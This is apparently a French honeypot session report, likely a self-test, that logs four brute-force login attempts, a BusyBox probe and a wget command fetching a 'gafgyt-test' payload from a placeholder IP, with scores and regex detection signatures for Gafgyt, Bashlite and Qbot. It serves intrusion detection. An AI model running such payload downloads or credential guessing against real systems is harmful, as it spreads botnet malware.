Session #21

82.64.85.153 · 26/07/2026 23:16:37

Score 100/100

Classification critical

Scanner gafgyt_suspected

Durée 2 s

Réseau

Date	N°	Utilisateur	Mot de passe	Résultat
26/07/2026 23:16:37	1	test-gafgyt	test-one	Refusé
26/07/2026 23:16:37	2	test-gafgyt	admin123	Refusé
26/07/2026 23:16:37	3	test-gafgyt	password	Refusé
26/07/2026 23:16:37	4	test-gafgyt	honeypot-test	Accepté

Date	Type	Gravité	Points	Description	Preuve
26/07/2026 23:16:37	scanner_detection	3/5	+15	Scanner automatisé suspecté : hydra_or_ncrack_suspected	4 tentatives dans la même session; cadence rapide=True
26/07/2026 23:16:37	scanner_detection	3/5	+15	Scanner automatisé suspecté : credential_bruteforce_suspected	12 essais, 3 sessions et 3 comptes depuis cette IP en dix minutes
26/07/2026 23:16:37	fake_login	1/5	+5	Faux login accepté	test-gafgyt
26/07/2026 23:16:38	mirai_behavior	4/5	+20	Utilisation de BusyBox	/bin/busybox echo test
26/07/2026 23:16:38	payload_download	3/5	+20	Téléchargement avec wget	wget http://192.0.2.10/gafgyt-test -O /tmp/gafgyt-test
26/07/2026 23:16:38	botnet	5/5	+25	Campagne ou famille de malware suspectée : gafgyt_suspected	\b(?:bins\|gafgyt\|bashlite\|qbot)\b, (?:^\|/)busybox\b, \b(?:wget\|tftp)\b
26/07/2026 23:16:38	scanner_detection	3/5	+0	Scanner automatisé suspecté : gafgyt_suspected	Signatures comportementales : \b(?:bins\|gafgyt\|bashlite\|qbot)\b, (?:^\|/)busybox\b, \b(?:wget\|tftp)\b

26/07/2026 23:16:38 · délai 0 ms

$ echo gafgyt bashlite qbot

bash: echo: command not found

26/07/2026 23:16:38 · délai 404 ms

$ /bin/busybox echo test

bash: /bin/busybox: command not found

26/07/2026 23:16:38 · délai 462 ms

$ wget http://192.0.2.10/gafgyt-test -O /tmp/gafgyt-test

Connecting...
wget: unable to resolve host address: Temporary failure in name resolution